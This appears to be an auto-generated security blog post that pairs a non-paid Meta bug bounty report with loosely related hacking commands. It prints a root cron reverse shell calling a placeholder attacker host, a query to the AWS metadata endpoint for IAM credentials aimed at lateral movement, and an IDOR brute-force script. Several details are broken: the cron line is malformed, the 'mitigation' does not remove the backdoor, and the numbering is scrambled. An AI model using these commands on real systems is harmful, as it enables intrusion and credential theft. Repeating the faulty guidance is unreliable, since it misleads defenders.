Listen to this Post
Introduction:
In the world of bug bounty programs, not every valid vulnerability results in a monetary reward. However, as demonstrated by Madhan Raj J’s recent submission to Meta, even non-payout findings contribute to cybersecurity resilience. This article explores key technical skills, commands, and mindset shifts for ethical hackers to maximize learning from every report.
Learning Objectives:
- Understand how to analyze “intended behavior” vulnerabilities in trusted environments.
- Leverage Linux/Windows commands for penetration testing and post-exploitation analysis.
- Adopt psychological strategies to maintain persistence in bug bounty hunting.
1. Analyzing Intended Behavior Vulnerabilities
Command (Linux):
strace -f -e trace=network -p <PID>
What it does:
Traces system calls and signals of a process, specifically network-related activity. Useful for identifying unexpected trust relationships in vetted devices.
Steps:
- Identify the target process ID (
ps aux | grep <service>).
2. Run `strace` with network tracing flags.
- Look for
connect(),accept(), or `sendto()` calls to unauthorized endpoints.
2. Windows Privilege Escalation Checks
Command (Windows):
whoami /priv | findstr /i "Enabled"
What it does:
Lists enabled privileges for the current user, highlighting potential escalation paths (e.g., SeImpersonatePrivilege).
Steps:
1. Execute in cmd/PowerShell after gaining initial access.
- Cross-reference with known exploitable privileges (e.g., via JuicyPotato).
3. Cloud Metadata API Exploitation
Command (curl):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
What it does:
Queries AWS EC2 metadata for temporary credentials. Often misconfigured in cloud environments.
Steps:
1. Test in SSRF or compromised cloud instances.
- Use retrieved credentials with `aws-cli` for lateral movement.
4. Web App Security: Testing for IDOR
Command (Python):
import requests
for id in range(1000, 1005):
response = requests.get(f"https://api.example.com/user/{id}")
print(f"ID {id}: {response.status_code}")
What it does:
Automates Insecure Direct Object Reference (IDOR) testing by brute-forcing user IDs.
Steps:
- Modify the URL and ID range to match the target.
- Check for 200/403 responses to identify unauthorized access.
5. Post-Exploitation: Linux Persistence
Command (Linux):
echo "/5 nc -e /bin/sh <ATTACKER_IP> 4444" >> /var/spool/cron/crontabs/root
What it does:
Sets up a cron job for reverse shell every 5 minutes.
Mitigation:
chmod 600 /var/spool/cron/crontabs/ && systemctl restart cron
What Undercode Say:
- Key Takeaway 1: Non-payout bugs still improve systemic security—document them for portfolio credibility.
- Key Takeaway 2: Tools like `strace` and metadata checks reveal subtle trust boundary violations.
Analysis:
Madhan’s experience underscores that bug bounty success isn’t binary. Vulnerabilities marked “intended behavior” often reveal architectural flaws (e.g., over-trusting devices). Ethical hackers should:
1. Use verbose logging (strace, Wireshark) to prove impact.
2. Submit reports with business-context explanations (e.g., “This could chain with XSS”).
3. Treat every submission as a case study for interview discussions.
Prediction:
As platforms like Meta tighten payout criteria, hackers will shift toward:
– Automated triaging (e.g., custom Burp Suite plugins).
– Attacker-centric writeups to demonstrate exploit chains.
– Community recognition as a parallel incentive to bounties.
For more commands and advanced techniques, explore our Cybersecurity Command Library.
IT/Security Reporter URL:
Reported By: Madhanrajj Hackermindset – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
